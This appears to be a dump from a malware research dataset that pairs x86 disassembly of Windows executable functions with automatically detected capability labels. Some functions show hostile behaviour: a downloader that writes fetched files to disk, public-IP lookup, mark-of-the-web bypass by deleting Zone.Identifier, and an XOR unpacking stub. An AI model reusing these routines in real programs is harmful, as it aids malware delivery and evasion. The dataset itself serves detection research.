joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dade0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x5c9988
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push ebp
mov ebp, ecx
push esi
xor ebx, ebx
mov dword [esp + 0x10], ebp
mov esi, dword [ebp + 0xa0]
cmp esi, ebx
mov dword [esp + 0xc], esi
je 0x4daf79
mov eax, dword [ebp + 0x78]
push eax
call dword [0x5da730]
mov eax, dword [esi + 8]
cmp eax, 1
lea ecx, [eax + 1]
mov dword [esp + 0x18], ecx
jne 0x4dae34
mov dword [ebp + 0xa8], ebx
cmp ecx, ebx
jle 0x4daf69
push edi
add ebp, 0x5c
push 0
push 0
push 0
push 0
push 0x63f7e8
push ebx
push 1
mov ecx, ebp
call fcn.0058c250
test ebx, ebx
mov esi, eax
je 0x4dae91
mov ecx, dword [esp + 0x10]
lea edi, [ebx + ebx*2]
mov edx, dword [ecx + 4]
lea edi, [edi + edi*8]
shl edi, 1
sub edi, ebx
mov ecx, ebp
shl edi, 2
mov eax, dword [edx + edi - 0xd0]
push eax
push 1
push esi
call fcn.0058c315
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx + 4]
mov eax, dword [edx + edi - 0x44]
push eax
jmp 0x4daece
lea ecx, [esp + 0x18]
push 0xa2f3
push ecx
call fcn.004ec350
add esp, 8
mov eax, dword [eax]
mov ecx, ebp
push eax
push 1
push esi
mov dword [esp + 0x5c], 0
call fcn.0058c315
lea ecx, [esp + 0x18]
mov dword [esp + 0x50], 0xffffffff
call fcn.005936db
push 0x63f7e8
push 2
push esi
mov ecx, ebp
call fcn.0058c315
lea eax, [ebx - 1]
mov ecx, ebp
push eax
push 0
push 0
push 0
push 0
push 4
push 0
push esi
call fcn.0058c29c
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x20]
xor edx, edx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x24], esi
lea eax, [ebx - 1]
mov dword [esp + 0x20], 2
mov esi, dword [ecx + 0xa8]
mov dword [esp + 0x28], edx
cmp esi, eax
jne 0x4daf28
cmp dword [ecx + 0xac], edx
jne 0x4daf34
cmp dword [ecx + 0xac], edx
jne 0x4daf3e
cmp ebx, edx
jne 0x4daf3e
mov dword [esp + 0x3c], 1
jmp 0x4daf42
mov dword [esp + 0x3c], edx
mov ecx, dword [ecx + 0x78]
lea eax, [esp + 0x20]
push eax
push edx
push 0x1006
push ecx
call dword [0x5da8f0]
mov eax, dword [esp + 0x1c]
inc ebx
cmp ebx, eax
jl 0x4dae40
mov ebp, dword [esp + 0x14]
pop edi
push 0
call dword [0x5da730]
lea ecx, [ebp + 0x5c]
call fcn.00592e45
mov ecx, dword [esp + 0x44]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x44
ret

Function at 0x4dc430
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 4]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
or eax, 0xffffffff
test ecx, ecx
jle 0x4dc46a
push esi
mov esi, ecx
xor ecx, ecx
mov edi, eax
mov cl, byte [edx]
and edi, 0xff
xor ecx, edi
shr eax, 8
mov ecx, dword [ecx*4 + 0x5e6750]
xor eax, ecx
inc edx
dec esi
jne 0x4dc44b
pop esi
not eax
pop edi
ret

Function at 0x4dc470
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
mov eax, 0xffff
test esi, esi
jbe 0x4dc4ab
push ebx
push edi
mov edi, dword [esp + 0x10]
xor edx, edx
mov ebx, eax
mov dl, byte [ecx + edi]
and ebx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, ah
mov ax, word [edx*4 + 0x5e6b50]
xor ax, bx
inc ecx
cmp ecx, esi
jb 0x4dc486
pop edi
pop ebx
not eax
pop esi
ret
Function at 0x4ffb00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x5ccab3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [esp + 0xc], esi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov eax, 0x2b11
mov dword [esp + 0x18], edi
mov dword [esi + 0x10], 0x5e8f34
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x24], edi
mov dword [esi + 4], eax
mov eax, 0x20
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov eax, 0x10
push 0x632730
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
lea eax, [esp + 0xc]
push 0x664810
push eax
mov byte [esp + 0x24], 1
mov dword [esi], fcn.00425060
mov dword [esi + 0x10], 0x5e8f08
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], edi
mov dword [esi + 0x84], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x28], 0x9c4
mov dword [esi + 0x2c], 8
mov dword [esi + 0x30], 3
call fcn.00593970
mov eax, dword [eax]
push eax
call dword [0x5da424]
lea ecx, [esp + 8]
mov dword [esi + 0x44], eax
call fcn.005936db
mov eax, dword [esi + 0x44]
cmp eax, edi
je 0x4ffcbf
push ebx
mov ebx, dword [0x5da420]
push 0x636504
push eax
call ebx
mov ecx, dword [esi + 0x44]
push 0x6364f8
push ecx
mov dword [esi + 0x48], eax
call ebx
mov edx, dword [esi + 0x44]
push 0x6364f0
push edx
mov dword [esi + 0x4c], eax
call ebx
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x44]
push 0x6364e0
push eax
call ebx
mov ecx, dword [esi + 0x44]
push 0x6364d8
push ecx
mov dword [esi + 0x54], eax
call ebx
mov edx, dword [esi + 0x44]
push 0x6364cc
push edx
mov dword [esi + 0x58], eax
call ebx
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x44]
push 0x6364c0
push eax
call ebx
mov ecx, dword [esi + 0x44]
push 0x6364b4
push ecx
mov dword [esi + 0x60], eax
call ebx
mov edx, dword [esi + 0x44]
push 0x6364a0
push edx
mov dword [esi + 0x64], eax
call ebx
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x44]
push 0x636494
push eax
call ebx
mov ecx, dword [esi + 0x44]
push 0x636484
push ecx
mov dword [esi + 0x6c], eax
call ebx
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x48]
cmp eax, edi
pop ebx
je 0x4ffcb5
call eax
cmp eax, 2
jl 0x4ffcb5
mov ecx, esi
call fcn.004ffd70
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret
mov edx, dword [esi + 0x44]
push edx
call dword [0x5da428]
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x500050
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5ccbd5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x639698]
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi], eax
mov ecx, dword [0x639698]
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esi + 4], ecx
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov edx, dword [0x639698]
mov dword [esi + 0x58], edx
mov eax, dword [0x639698]
mov dword [esi + 0x5c], eax
mov ecx, dword [0x639698]
mov dword [esi + 0x60], ecx
mov edx, dword [0x639698]
mov dword [esi + 0x64], edx
mov eax, dword [0x639698]
mov dword [esi + 0x68], eax
mov ecx, dword [0x639698]
mov dword [esi + 0x6c], ecx
mov edx, dword [0x639698]
mov dword [esi + 0x70], edx
mov eax, dword [0x639698]
mov dword [esi + 0x74], eax
mov ecx, dword [0x639698]
mov dword [esi + 0x78], ecx
mov edx, dword [0x639698]
mov dword [esi + 0x7c], edx
mov eax, dword [0x639698]
mov dword [esi + 0x80], eax
mov ecx, dword [0x639698]
mov dword [esi + 0x84], ecx
mov edx, dword [0x639698]
mov dword [esi + 0x88], edx
mov eax, dword [0x639698]
mov dword [esi + 0x8c], eax
mov ecx, dword [0x639698]
mov dword [esi + 0x90], ecx
mov edx, dword [0x639698]
mov dword [esi + 0x94], edx
mov ecx, esi
mov byte [esp + 0x10], 0x11
call fcn.00500450
mov eax, esi
mov ecx, dword [esp + 8]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x5005b0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x5ccce7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebp
push esi
xor esi, esi
push edi
mov ebp, ecx
push esi
mov dword [esp + 0x18], esi
call fcn.0057409f
push eax
call fcn.0057417b
add esp, 8
call fcn.00574188
mov edi, eax
mov eax, dword [0x639698]
mov dword [esp + 0xc], eax
mov ecx, edi
lea edx, [esp + 0xc]
and ecx, 0xffff
mov dword [esp + 0x20], 1
push ecx
push 0x636594
push edx
call fcn.0058aded
mov eax, dword [0x639698]
add esp, 0xc
mov dword [esp + 0x10], eax
mov byte [esp + 0x20], 2
xor ecx, ecx
lea edx, [esp + 0x10]
mov cl, byte [esi + ebp]
push ecx
push 0x631794
push edx
call fcn.0058aded
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
call fcn.00593af3
movzx cx, byte [esi + ebp]
shl edi, 4
xor edi, ecx
inc esi
cmp esi, 8
jl 0x500623
mov esi, dword [esp + 0x28]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call fcn.00593450
mov dword [esp + 0x14], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 1
call fcn.005936db
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 0
call fcn.005936db
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x50c730
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5cdab8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
xor esi, esi
lea ecx, [esp + 8]
mov dword [esp + 4], esi
call fcn.0050bc50
mov eax, dword [esp + 0x38]
lea ecx, [esp + 8]
push eax
mov dword [esp + 0x30], esi
call fcn.0050be70
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0xc]
call fcn.0050c040
mov esi, dword [esp + 0x34]
lea edx, [esp + 8]
push edx
mov ecx, esi
call fcn.0050bcf0
lea ecx, [esp + 8]
call fcn.0050bd60
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x50c7b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5cdad8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
xor esi, esi
lea ecx, [esp + 8]
mov dword [esp + 4], esi
call fcn.0050bc50
mov eax, dword [esp + 0x38]
lea ecx, [esp + 8]
push eax
mov dword [esp + 0x30], esi
call fcn.0050be10
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0xc]
call fcn.0050c040
mov esi, dword [esp + 0x34]
lea edx, [esp + 8]
push edx
mov ecx, esi
call fcn.0050bcf0
lea ecx, [esp + 8]
call fcn.0050bd60
mov ecx, dword [esp + 0x24]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x528660
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5d1e1f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov eax, dword [0x639698]
push ebx
push esi
push edi
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov edi, dword [esp + 0x3c]
lea esi, [ecx + 0x1e0]
push 1
lea eax, [esp + 0x40]
mov bl, 6
push edi
push eax
mov ecx, esi
mov byte [esp + 0x3c], bl
call fcn.0058c340
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x34], 7
call fcn.00593814
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], bl
call fcn.005936db
push 2
lea ecx, [esp + 0x40]
push edi
push ecx
mov ecx, esi
call fcn.0058c340
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x34], 8
call fcn.00593814
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], bl
call fcn.005936db
push 3
lea edx, [esp + 0x40]
push edi
push edx
mov ecx, esi
call fcn.0058c340
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 9
call fcn.00593814
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], bl
call fcn.005936db
push 0
lea eax, [esp + 0x40]
push edi
push eax
mov ecx, esi
call fcn.0058c340
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 0xa
call fcn.00593814
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], bl
call fcn.005936db
push 4
push edi
lea ecx, [esp + 0x44]
push ecx
mov ecx, esi
call fcn.0058c340
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 0xb
call fcn.00593814
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], bl
call fcn.005936db
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push edx
mov edx, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x24]
push ecx
push edx
push eax
lea ecx, [esp + 0x34]
push 0x637688
push ecx
call fcn.0058aded
mov esi, dword [esp + 0x54]
add esp, 0x1c
lea edx, [esp + 0x20]
mov ecx, esi
push edx
call fcn.00593450
mov dword [esp + 0x24], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 5
call fcn.005936db
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 4
call fcn.005936db
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 3
call fcn.005936db
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 2
call fcn.005936db
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 1
call fcn.005936db
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 0
call fcn.005936db
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
Function at 0x54a7f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5d6770
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, ecx
push ecx
mov dword [esp + 0x24], 0
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x625b9c
call fcn.00593749
mov ecx, esi
call fcn.0054a1b0
mov eax, dword [esi + 0x128]
test eax, eax
je 0x54a846
push ecx
mov eax, esp
mov dword [esp + 0x30], esp
push 0xcda8
push eax
jmp 0x54a871
mov ecx, dword [esi + 0x124]
mov ebx, 1
push 0
push ebx
push 0
push ecx
call dword [esi + 0x100]
add esp, 0x10
test eax, eax
jne 0x54a8a7
push ecx
mov edx, esp
mov dword [esp + 0x30], esp
push 0xcda9
push edx
call fcn.004ec350
add esp, 8
mov ecx, esi
call fcn.0054a1b0
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], 0xffffffff
call fcn.005936db
xor eax, eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x18
ret 8
mov eax, dword [esi + 0x124]
push 0x32
push eax
call dword [esi + 0x104]
mov ecx, dword [0x639698]
mov dword [esp + 0x14], ecx
lea edx, [esp + 0x1c]
push 0xcdaa
push edx
mov byte [esp + 0x30], bl
call fcn.004ec350
add esp, 0x10
mov edi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
mov eax, dword [eax]
push edi
push ecx
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x30], 2
call fcn.0058aded
add esp, 0x10
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], bl
call fcn.005936db
push ecx
lea eax, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00593450
mov ecx, esi
call fcn.0054a1b0
mov ecx, dword [esp + 0x28]
mov edx, dword [esi + 0x124]
push 0x54aa70
push 0x2710
push edi
push ecx
push edx
call dword [esi + 0x110]
add esp, 0x14
test eax, eax
jne 0x54a9cb
push ecx
mov eax, esp
mov dword [esp + 0x30], esp
push 0xcdab
push eax
call fcn.004ec350
add esp, 8
mov ecx, esi
call fcn.0054a1b0
mov ecx, dword [esi + 0x124]
push ebx
push ecx
call dword [esi + 0x108]
mov edx, dword [esi + 0x124]
push edx
call dword [esi + 0x10c]
mov esi, dword [esi + 0x9c]
add esp, 0xc
test esi, esi
je 0x54a996
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0x10
push eax
call dword [0x5da824]
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 0
call fcn.005936db
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], 0xffffffff
call fcn.005936db
xor eax, eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x18
ret 8
push ecx
mov dword [esi + 0x128], ebx
mov ecx, esp
mov dword [esp + 0x30], esp
push 0xcdac
push ecx
call fcn.004ec350
add esp, 8
mov ecx, esi
call fcn.0054a1b0
mov edx, dword [0x639698]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x28]
push edi
push eax
lea ecx, [esp + 0x18]
push 0x63800c
push ecx
mov byte [esp + 0x30], 3
call fcn.0058aded
mov edx, dword [esp + 0x20]
add esp, 0x10
mov ecx, esi
push edx
call fcn.00592c97
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], bl
call fcn.005936db
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 0
call fcn.005936db
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], 0xffffffff
call fcn.005936db
mov ecx, dword [esp + 0x18]
pop edi
mov eax, ebx
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x18
ret 8
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
pushal
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432fd9
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x403288
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x403284
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push str.__s_
push 0x405b08
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x40331c
push 0x405b08
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x405b08
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x405b08
mov esp, ebp
pop ebp
ret

Function at 0x4018d0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
push 4
call fcn.00401320
add esp, 8
push eax
push 0x403334
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 1
mov eax, dword [ebp + 8]
push eax
call sub.DNSAPI.dll_DnsQuery_A
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40191e
jmp 0x401933
push 1
mov ecx, dword [ebp - 4]
push ecx
call sub.DNSAPI.dll_DnsFree
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4018dd
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x401950
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x405bd0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401a43
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401a39
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x401a21
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x401a1f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x405bd0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401a15
cmp dword [ebp - 0x10], 0
je 0x401a15
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x405bd0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4019d8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401a39
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x405bd0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x405bd0
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.d8d88d7d6d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40259e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x40260b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x405ac8
call section..text
add esp, 4
push eax
push 0x403650
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402270
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x402666
push 0xdbba00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402650
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40fef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x40fef0
lcall 0x5de5, 0x8b10c483
jmp loc.009f1d84